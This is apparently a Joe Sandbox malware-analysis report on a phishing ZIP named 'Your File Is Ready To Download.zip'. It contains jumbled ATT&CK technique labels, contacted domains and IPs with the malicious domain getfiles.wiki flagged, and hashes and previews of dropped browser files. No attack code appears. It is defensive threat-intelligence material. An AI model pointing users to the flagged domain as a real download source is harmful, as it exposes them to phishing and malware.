Virtualization/Sandbox Evasion
Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
Non-Application Layer Protocol
SIM Card SwapObtain Device Cloud BackupsNetwork Denial of ServiceDomainsCredentials
Domain AccountsAtLogon Script (Windows)1
Extra Window Memory Injection
2
Virtualization/Sandbox Evasion
Security Account Manager1
File and Directory Discovery
SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
Application Layer Protocol
Data Encrypted for ImpactDNS ServerEmail Addresses
Local AccountsCronLogin HookLogin Hook111
Process Injection
NTDS23
System Information Discovery
Distributed Component Object ModelInput CaptureTraffic DuplicationProtocol ImpersonationData DestructionVirtual Private ServerEmployee Names
Cloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
Extra Window Memory Injection
LSA SecretsInternet Connection DiscoverySSHKeyloggingScheduled TransferFallback ChannelsData Encrypted for ImpactServerGather Victim Network Information

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
No Antivirus matches
No Antivirus matches
No Antivirus matches
SourceDetectionScannerLabelLink
getfiles.wiki9%VirustotalBrowse
sni1gl.wpc.nucdn.net0%VirustotalBrowse
part-0013.t-0009.t-msedge.net0%VirustotalBrowse
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
a.nel.cloudflare.com
35.190.80.1
truefalse
    high
    part-0013.t-0009.t-msedge.net
    13.107.213.41
    truefalseunknown
    accounts.google.com
    192.178.50.45
    truefalse
      high
      www3.l.google.com
      142.250.217.238
      truefalse
        high
        getfiles.wiki
        104.21.11.107
        truetrueunknown
        www.google.com
        142.250.217.164
        truefalse
          high
          clients.l.google.com
          142.250.217.206
          truefalse
            high
            googlehosted.l.googleusercontent.com
            142.250.217.193
            truefalse
              high
              sni1gl.wpc.nucdn.net
              152.195.19.97
              truefalseunknown
              clients2.googleusercontent.com
              unknown
              unknownfalse
                high
                clients2.google.com
                unknown
                unknownfalse
                  high
                  chrome.google.com
                  unknown
                  unknownfalse
                    high
                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs
                    IPDomainCountryFlagASNASN NameMalicious
                    13.107.6.158
                    unknownUnited States
                    8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                    104.21.11.107
                    getfiles.wikiUnited States
                    13335CLOUDFLARENETUStrue
                    13.107.21.200
                    unknownUnited States
                    8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                    172.67.191.210
                    unknownUnited States
                    13335CLOUDFLARENETUSfalse
                    142.250.217.238
                    www3.l.google.comUnited States
                    15169GOOGLEUSfalse
                    142.250.64.234
                    unknownUnited States
                    15169GOOGLEUSfalse
                    142.250.217.164
                    www.google.comUnited States
                    15169GOOGLEUSfalse
                    142.250.217.163
                    unknownUnited States
                    15169GOOGLEUSfalse
                    142.251.35.238
                    unknownUnited States
                    15169GOOGLEUSfalse
                    13.107.213.41
                    part-0013.t-0009.t-msedge.netUnited States
                    8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                    204.79.197.239
                    unknownUnited States
                    8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                    35.190.80.1
                    a.nel.cloudflare.comUnited States
                    15169GOOGLEUSfalse
                    191.235.44.176
                    unknownBrazil
                    8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                    142.250.189.131
                    unknownUnited States
                    15169GOOGLEUSfalse
                    192.178.50.45
                    accounts.google.comUnited States
                    15169GOOGLEUSfalse
                    1.1.1.1
                    unknownAustralia
                    13335CLOUDFLARENETUSfalse
                    192.178.50.46
                    unknownUnited States
                    15169GOOGLEUSfalse
                    13.107.21.239
                    unknownUnited States
                    8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                    142.250.217.206
                    clients.l.google.comUnited States
                    15169GOOGLEUSfalse
                    142.250.64.205
                    unknownUnited States
                    15169GOOGLEUSfalse
                    13.107.42.16
                    unknownUnited States
                    8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                    142.250.64.174
                    unknownUnited States
                    15169GOOGLEUSfalse
                    239.255.255.250
                    unknownReserved
                    unknownunknownfalse
                    172.217.3.77
                    unknownUnited States
                    15169GOOGLEUSfalse
                    142.250.217.193
                    googlehosted.l.googleusercontent.comUnited States
                    15169GOOGLEUSfalse
                    20.246.247.192
                    unknownUnited States
                    8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                    IP
                    192.168.2.16
                    Joe Sandbox version:38.0.0 Ammolite
                    Analysis ID:1362066
                    Start date and time:2023-12-14 10:58:06 +01:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:defaultwindowsinteractivecookbook.jbs
                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Number of analysed new started processes analysed:81
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:1
                    Technologies:
                    • EGA enabled
                    Analysis Mode:stream
                    Analysis stop reason:Timeout
                    Sample name:Your File Is Ready To Download.zip
                    Detection:MAL
                    Classification:mal60.phis.winZIP@157/63@32/134
                    Cookbook Comments:
                    • Found application associated with file extension: .zip
                    • Exclude process from analysis (whitelisted): dllhost.exe, rundll32.exe
                    • Excluded IPs from analysis (whitelisted): 142.250.217.163, 142.250.189.131, 34.104.35.123, 13.107.42.16, 204.79.197.239, 13.107.21.239, 13.107.6.158, 20.246.247.192
                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                    • Report size getting too big, too many NtDeviceIoControlFile calls found.
                    • Report size getting too big, too many NtEnumerateKey calls found.
                    • Report size getting too big, too many NtEnumerateValueKey calls found.
                    • Report size getting too big, too many NtOpenFile calls found.
                    • Report size getting too big, too many NtOpenKey calls found.
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                    • Report size getting too big, too many NtQueryAttributesFile calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • Report size getting too big, too many NtWriteVirtualMemory calls found.
                    • Timeout during stream target processing, analysis might miss dynamic analysis data
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):58458
                    Entropy (8bit):6.1034421410106745
                    Encrypted:false
                    SSDEEP:
                    MD5:B1B76B852CBC0CF864E4EC9E33CF04F1
                    SHA1:3EF301903676F86431186796AF74E869093F78D6
                    SHA-256:A77FB64B9AFF1C6D3BAA284DBA5913B7D6BD7F52DEECC08C66A778C52DE9A61E
                    SHA-512:2FED2D4482DEABB241ADA08EE90C6D5234E7FF49B60D1EDF635DDF95245205F87CF38351684C812C9322F5AA374D82BFEED0B1BEF5DAB6EDE5782F153E3407FC
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                    Process:C:\Windows\System32\Taskmgr.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):65552
                    Entropy (8bit):0.012543881408137456
                    Encrypted:false
                    SSDEEP:
                    MD5:D2FB266B97CAFF2086BF0FA74EDDB6B2
                    SHA1:2F0061CE9C51B5B4FBAB76B37FC6A540BE7F805D
                    SHA-256:B09F68B61D9FF5A7C7C8B10EEE9447D4813EE0E866346E629E788CD4ADECB66A
                    SHA-512:C3BA95A538C1D266BEB83334AF755C34CE642A4178AB0F2E5F7822FD6821D3B68862A8B58F167A9294E6D913B08C1054A69B5D7AEC2EFDB3CF9796ED84DE21A8
                    Malicious:false
                    Reputation:low
                    Preview:.6.G........................................f...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\Taskmgr.exe
                    File Type:ASCII text, with no line terminators
                    Category:dropped
                    Size (bytes):4
                    Entropy (8bit):1.5
                    Encrypted:false
                    SSDEEP:
                    MD5:F49655F856ACB8884CC0ACE29216F511
                    SHA1:CB0F1F87EC0455EC349AAA950C600475AC7B7B6B
                    SHA-256:7852FCE59C67DDF1D6B8B997EAA1ADFAC004A9F3A91C37295DE9223674011FBA
                    SHA-512:599E93D25B174524495ED29653052B3590133096404873318F05FD68F4C9A5C9A3B30574551141FBB73D7329D6BE342699A17F3AE84554BAB784776DFDA2D5F8
                    Malicious:false
                    Reputation:low
                    Preview:EERF
                    Process:C:\Windows\System32\Taskmgr.exe
                    File Type:Matlab v4 mat-file (little endian) (, numeric, rows 0, columns 16, imaginary
                    Category:dropped
                    Size (bytes):65536
                    Entropy (8bit):0.020771427571626165
                    Encrypted:false
                    SSDEEP:
                    MD5:FAAF81E039656B877722B8771EA6D053
                    SHA1:E8C6B9F47130847654DF1AFBE62406E8779B7C56
                    SHA-256:30839B97B27F7EC2AD9DEBF5590B0B5CAC4DB2FE5BB86AAD58D623B942D639FC
                    SHA-512:F03AE7F7A4AF30FB0131E61003B0068FB9715C0F8989CBF2CE7A64710DB884A89FF9415DB5D57B1D8DD0421F6132F6B5EFEBEE3D1C07CC995018EE540000BFB5
                    Malicious:false
                    Reputation:low
                    Preview:................@...(....x:no.&A.e.u~+..C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.t.a.s.k.m.g.r...e.x.e...............................(...p.DJ!.IL.....Zm.F............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):58458
                    Entropy (8bit):6.1034421410106745
                    Encrypted:false
                    SSDEEP:
                    MD5:B1B76B852CBC0CF864E4EC9E33CF04F1
                    SHA1:3EF301903676F86431186796AF74E869093F78D6
                    SHA-256:A77FB64B9AFF1C6D3BAA284DBA5913B7D6BD7F52DEECC08C66A778C52DE9A61E
                    SHA-512:2FED2D4482DEABB241ADA08EE90C6D5234E7FF49B60D1EDF635DDF95245205F87CF38351684C812C9322F5AA374D82BFEED0B1BEF5DAB6EDE5782F153E3407FC
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):58836
                    Entropy (8bit):6.10684500526058
                    Encrypted:false
                    SSDEEP:
                    MD5:56189CB46E8DF08AC66614AF568CD43D
                    SHA1:D06146A8B0EE19BEF4713D3D95C81C9F374EE827
                    SHA-256:C99100940594429A26F4C218F603703A6924D036233198E315BF877E505EED7D
                    SHA-512:6266ED3FE2D82CD0964EDA9518D8B6A6F680C422A24B05D34A8E9C07F5802AAF8724C0941372B39573B90CFE7EF5D51992E2D0A5C0FDC389F9057ABEBEAC11BB
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:modified
                    Size (bytes):59656
                    Entropy (8bit):6.106808167934268
                    Encrypted:false
                    SSDEEP:
                    MD5:960C736DB4B31B7F3E4E167E4D4E7FBA
                    SHA1:0429090945276A54156EF25F1EAA0AF4CE9CE7DD
                    SHA-256:9BE1F087AD9E4CF9A128133779C34277AD77BEDDC48BE948C4A953042721B913
                    SHA-512:EB9B377EAA3EB83ED7B9C4FB24C53ED7733641B838369CCD38C73D99F5CA13EB26EAB2499355F6548DFF574702866C8385813235E5E54FCC5955D24FE5215DC9
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):58910
                    Entropy (8bit):6.1070270181486315
                    Encrypted:false
                    SSDEEP:
                    MD5:FDE4F9A6402BA9CE9D3945AC253C82C1
                    SHA1:3D74B025D5BDB571B2FD6B0789953880473D3C47
                    SHA-256:3B14AB99D889C2655B6231B4838D75A235FC727D4A866009DC8B0D7F07CE1C4F
                    SHA-512:3F33569F035C4D341F2CF9420D3EB773FB808CD7AD8B59224B69FA0BAC1D582A998B83532052ECEC9FAE20277FFEB61D8E7462BAF0D17C636D400FF827CE13BE
                    Malicious:false
                    Reputation:low
                    Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):4194304
                    Entropy (8bit):0.037663287693004525
                    Encrypted:false
                    SSDEEP:
                    MD5:CCD46031A2EC5F81BCDF63294C26BE24
                    SHA1:2873870CF65ED9CD16936D025AC39EEFD598D4B1
                    SHA-256:DA4E5C811A37189B039BE9E1B90B5D07FF4E94E0AE5AC883CF5066462DC5088C
                    SHA-512:006AC6A4394CD799F8A210371169D548B8BABEF2311BAC5944FADA31DF5CB0C73AAE8ED12E54DB9C43B3C8DBA0C0082FDC00CB262A7CA59556475AFFDE997BEA
                    Malicious:false
                    Reputation:low
                    Preview:...@..@...@.....C.].....@................Q..hQ..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452l..x86_64..?........".cbomlm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............2......................w..U`.~;.k.].0r..G..>.........."....."...24.."."vfSn8LvoRR6x9HfN//24V2w+A0djSL3uj44qFpD7tBM="*.:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....+....W@..$...SF@.......Y@.......4@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@.......Y@.......Y@2............... .2.....
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):4194304
                    Entropy (8bit):0.04112522850699672
                    Encrypted:false
                    SSDEEP:
                    MD5:63B6F5413E76BB1EE54B528C1C8CCAE2
                    SHA1:3968D9C55664B66FBF5C1C7AA1686F4CA6E2D648
                    SHA-256:21369AF15D63EC14288EA8F7E8558EAB1475138E621E8CBC67482E2E830C06A1
                    SHA-512:0577F5456D6241AE36102883C1F9F5670EDAAD47E5FD68A88C6F9322693D4EA5489ECF2ABF620C5EA81FE152C647BB6C78DFCB93F2582DDEE62E87269A0F5ECB
                    Malicious:false
                    Reputation:low
                    Preview:...@..@...@.....C.].....@................b..@R..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452l..x86_64..?........".cbomlm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............2......................w..U?:K.`.~;.k.].0r..G..>.........."....."...2...".*.:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....+....W@..$...SF@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@.......Y@.......Y@z.......................................................
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):4194304
                    Entropy (8bit):0.04206939606627832
                    Encrypted:false
                    SSDEEP:
                    MD5:39A6C126C84FF3EEEF0F5A28587F3467
                    SHA1:155B67FCE18E90ED99FDEAD8C90013ADE9D4D38A
                    SHA-256:E8838BAB53F59233F858B00A0EB5B88DB6FC0376AA31DE85B836BC4FA3ACC993
                    SHA-512:C13E1389039690720EF60F97AF23316681E71616E57BA8DED603BF53ABF47747DD9BE3EBC6F63F1D8472B417804B9D24E4D93035D252A76999EE70140B28E72E
                    Malicious:false
                    Reputation:low
                    Preview:...@..@...@.....C.].....@................d..HT..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452l..x86_64..?........".cbomlm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............2......................w..U.>.........."....."...24.."."B1B939j0bIjwH3zY8K9OMQCyxPZP2RoGC0TyVOt3BrI="*.:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....+....W@..$...SF@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@.......Y@.......Y@z.............................
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:modified
                    Size (bytes):280
                    Entropy (8bit):4.178193152133192
                    Encrypted:false
                    SSDEEP:
                    MD5:E82486517A0F4986D77C95B8C48705FE
                    SHA1:897E9D2BBB6AAC9B843DB649FBFB9F322FC1B508
                    SHA-256:2115DE4F381079E0258BB09DC6D75C6DACEE095EDB647ECA2256AA62AE6C6D4A
                    SHA-512:7D93B1CA786D2000C137E35AD85F4E07BEC5C1E6728E088387058C0E50F874D410AEF0019DD9E1FF31948A8E92ED827F114165B19B1F49743D41034B9D3F847B
                    Malicious:false
                    Reputation:low
                    Preview:sdPC......................z....K..s...x."B1B939j0bIjwH3zY8K9OMQCyxPZP2RoGC0TyVOt3BrI="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7dc5f755-0f90-4102-bc8e-37d02917bdc7............
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):24931
                    Entropy (8bit):5.566420788764621
                    Encrypted:false
                    SSDEEP:
                    MD5:50687750E69127D513082DEFBD96F9A6
                    SHA1:ED8D6018B4FBE3244BE720F0DB6EC46B4CC0FDAB
                    SHA-256:36C0964174DEBAF69198A3A6826D967862C4E4D1D37D529C03A54E8AE4CAADAD
                    SHA-512:2F937D555865C566FF3F6FA777F96F203FE7961108B4B188467450189556DA9AF2F526A0452BED87A1FF935EC9B1424B0A7ADF52C29E61A98FDCFCEB66AAB99B
                    Malicious:false
                    Reputation:low
                    Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13347021534153598","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13347021534153598","location":5,"ma
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):9555
                    Entropy (8bit):5.091809196011605
                    Encrypted:false
                    SSDEEP:
                    MD5:3D2C80AD6DF63D47920D89B6786A1317
                    SHA1:8E1887131FC901763D498D49790B5F1E9B5ABDEF
                    SHA-256:355665A41BD98253542D985A1CFB2ED0FD9217A1D2BF7966F7C0750580630A23
                    SHA-512:729E999B3D861A000386FD58A479204A9CCFF64CF4EE25EC1A3B0A1115FC2F779D04158E38361FF50AF925B987D8251A38DF3F5D8896639776F08591C2B742BB
                    Malicious:false
                    Reputation:low
                    Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13347021535742500","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li
